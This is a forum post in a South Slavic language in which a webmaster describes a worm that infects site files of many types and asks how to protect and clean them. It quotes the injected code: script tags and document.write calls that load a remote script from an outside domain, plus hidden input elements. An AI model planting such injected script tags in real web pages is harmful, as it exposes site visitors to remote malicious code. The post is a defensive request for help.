Nova web napast (sad smo malo inteligentniji)Evo upravo sam suocen sa novom varijantom crva koja napada web stranice, sada nije u pitanju iframe attack.
I nisu napadu izlozeni samo index fajlovi, vec i mnogi drugi, a koliko sam primjetio uspjesno napada sve extenzije (jsp, htm, html, phtml, php, js...).
Takodje kreira fajlove samostalno (uocio sam video_player.sfw player.swf i tako redom).
Ciscenje zarazenog sajta se prtvara u nocnu moru ako se ide rucno jer je zarazen jako velik broj fajlova.
Trazio sam po google-u ali nisam nista nasao, tako da ajde da postujem ovdje da vidim da necemo doci do nekog zajednickog resenja.
Evo sta dodaje u stranice:
Code:
<script src=http://topofthelinesunglasses.com/ext/add_checkout_success.php ></script>
<script src=http://topofthelinesunglasses.com/ext/add_checkout_success.php ></script>
Code:
document.write('<script src=http://topofthelinesunglasses.com/ext/add_checkout_success.php ><\/script>');
document.write('<script src=http://topofthelinesunglasses.com/ext/add_checkout_success.php ><\/script>');
Pazi ovaj:
Code:
<input type="hidden" id="gwProxy"><!--Session data--></input><input type="hidden" id="jsProxy" onclick="jsCall();" />
<input type="hidden" id="gwProxy"><!--Session data--></input><input type="hidden" id="jsProxy" onclick="jsCall();" />
I neke standardne enkodirane printove.
Trenutno za sada mi je prijavljen samo 1 sajt, ali ne bi me cudilo da ih bude jos.
Ono sto me zanima jeste kako se efikasno zastiti, i kako cistiti ove fajlove automatizovano!?
